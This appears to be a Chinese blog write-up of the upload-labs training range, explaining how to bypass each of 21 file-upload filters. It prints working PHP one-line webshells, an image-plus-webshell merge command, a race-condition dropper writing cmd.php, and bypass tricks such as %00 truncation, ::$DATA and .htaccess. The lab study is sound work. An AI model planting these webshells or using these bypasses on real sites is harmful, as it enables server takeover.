upload-labs

发布于 2021-08-06  79 次阅读


层楼终究无少年,自由早晚乱余生。

常用的一句话木马:

​ <!--?php @eval($_POST['cmd']);?-->
​ <?php @eval($_POST['cmd']) ?>

​ <script language="php">@eval_r($_POST[cmd])</script>

​ <?=eval($_POST['cmd']);

常用文件格式

​ Content-Type: image/png
​ Content-Type: image/jpeg

图片马合成:

​ 图片和一句话木马在同一文件夹下时,copy 1.jpg/b + 1.php/a 2.jpg

常用后缀名

​ PHP:

​ php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)

​ ASP:

​ asa、cer、cdx ASPX: ascx、ashx、asac

​ JSP:

​ jsp、jspx、jspf

Pass-01

image-20210502005118539

弹窗不允许上传除图片类型外其他类型的文件。这里首先要思考是前端检测还是后端检测。最有效的办法就是F12查看网页源代码。

image-20210502005334242

由此可以看出,是前端校验。前端校验目前已知两种校验方式,禁用JavaScript,或者使用BurpSuite抓包修改后缀。

禁用JavaScript比较简单这里不再演示,这里演示使用BurpSuite修改后缀

首先我们应该将一句话木马在text中写好然后将.txt后缀在本机修改为.jpg

image-20210502010113678

这样文件就可以直接上传了,最后测试文件上传是否正常。

image-20210502023500552

Pass-02

image-20210502024218830

上传1.php发现提示文件上传类型不正确,F12查看,不存在前端校验,因此应该是后端校验,尝试抓包查看。

image-20210502024559441

这里出现了Content-Type判断文件类型,因此应该是通过判断文件类型进行过滤,因此修改此处进行绕过。

image-20210502025010612

发包图片上传成功

Pass-03和Pass-04

image-20210502025537105

上传一句话木马,发现.php被禁用,也就是说这里会检测我们的后缀名,因此只要我们的后缀名不是.php即可。因此我们可以使用同样被当做PHP代码解析的后缀名、使用.htacess增加当做PHP解析的后缀名(1)、使用Apache解析漏洞(2)。

注解:

​ (1):htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

​ (2):Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止。

image-20210502030128345

Pass-05和Pass-10

image-20210502031858464

查看源代码,可以发现对文件名做了操作,这里只对文件进行了一次操作,因此上传后缀名为.php. .首先点和空格都被删除掉一次,这时后缀名为.php.,结合windows特性会自动去除文件后缀的点和空格,因此文件可以被当做PHP正常解析,实现绕过。

Pass-06

image-20210502033615879

这里可以用和第五题一样的方法,这里还没有强制转换为小写,因此可以使用大小写的方式进行绕过,例如上传.phP

Pass-07

image-20210502033822677

这里文件没有首尾去除空格,因此可以使用在后缀名后面添加空格的方法进行绕过。

Pass-08

image-20210502033959106

这里没有去除文件名后面的点,因此可以使用在后缀名后面添加点的方法进行绕过。

Pass-09

image-20210502034058161

这里没有去除windows文件流(1)的过滤,因此可以使用在后缀名后面添加::$DATA的方法进行绕过。

注解

​ (1):在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,它的目的就是不检查后缀名

Pass-11

image-20210502035027748

这里会将黑名单的后缀名,替换为空,而且只替换一次,因此可以使用双写的方式.pphphp来进行绕过。

Pass-12

image-20210502035515511

这里不再使用黑名单,而是开始使用白名单,并且修改了文件名。

image-20210502035955758

我们可以再save_path处使用%00截断(1),?save_path="../upload/1.php%00",此时上传的文件名拼接到save_path后面文件相当于当做1.php解析实现绕过。

注解

​ 在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。但是只存在于php5.3.4以下

Pass-13

image-20210502040300619

源代码和12题是一样的,只是save_path变成了$_POST传参,同样是%00截断,但是这次不同的是save_path在post包里面,GET是可以把url自动转码的,但是POST方式不会自动将%00编码为空字符。因此,我们需要在burp中选中%00右击->url->urldecode go即可

Pass-14和Pass-15和Pass-16

image-20210502040717022

Pass-14这道题检测文件头,在一句话木马前面添加图片格式文件头,Pass-15和Pass-16上传三种类型图片马。图片马合成有两种方式:使用cmd命令进行合成,或者将图片二进制打开直接写入一句话木马。

Pass-17

image-20210502041731270

这里会将图片二次渲染(1),但是二进制打开原图片和二次渲染之后的图片,会发现有一部分是不发生改变的,只要我们在不发生改变处 写入一句话木马,即可绕过上传。

注解

​ 二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

Pass-18

image-20210502042952738

根据源代码,文件名还要被修改。我们这里可以使用条件竞争来进行绕过。首先我们应该编写一个PHP文件,内容为

<?php
file_put_contents('cmd.php','eval($_POST['cmd']);');
?>

使用burpsuite重复上传这个文件,然后文件重命名或者删除之前成功访问到这个文件,这个文件执行就能写入cmd.php,木马上传成功。

Pass-19

程序调用了一个MyUpload类,来判断即文件的状态,和上题一样,但是程序会首先调用isUploadedFile来判断是否属于白名单,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功

Pass-20

上传文件和文件名可控,且文件名是黑名单限制。文件名改为20.php/.,move_uploaded_file函数遇到/.的时候会删除它。

Pass-21

对MIME和文件后缀都进行了检查。 但是取后缀的时候判断$file是不是数组,可以让$file为数组来绕过$file = explode(‘.’, strtolower($file));。最后上传的时候文件名取的是$file_name = reset($file) . ‘.’ . $file[count($file) - 1];综上,$file数组[“20.php”,””,”jpg”],最后一个为jpg可以绕过白名单检查,文件名为:20.php.,再配合move_uploaded_file的特性,最终上传的文件名为20.php。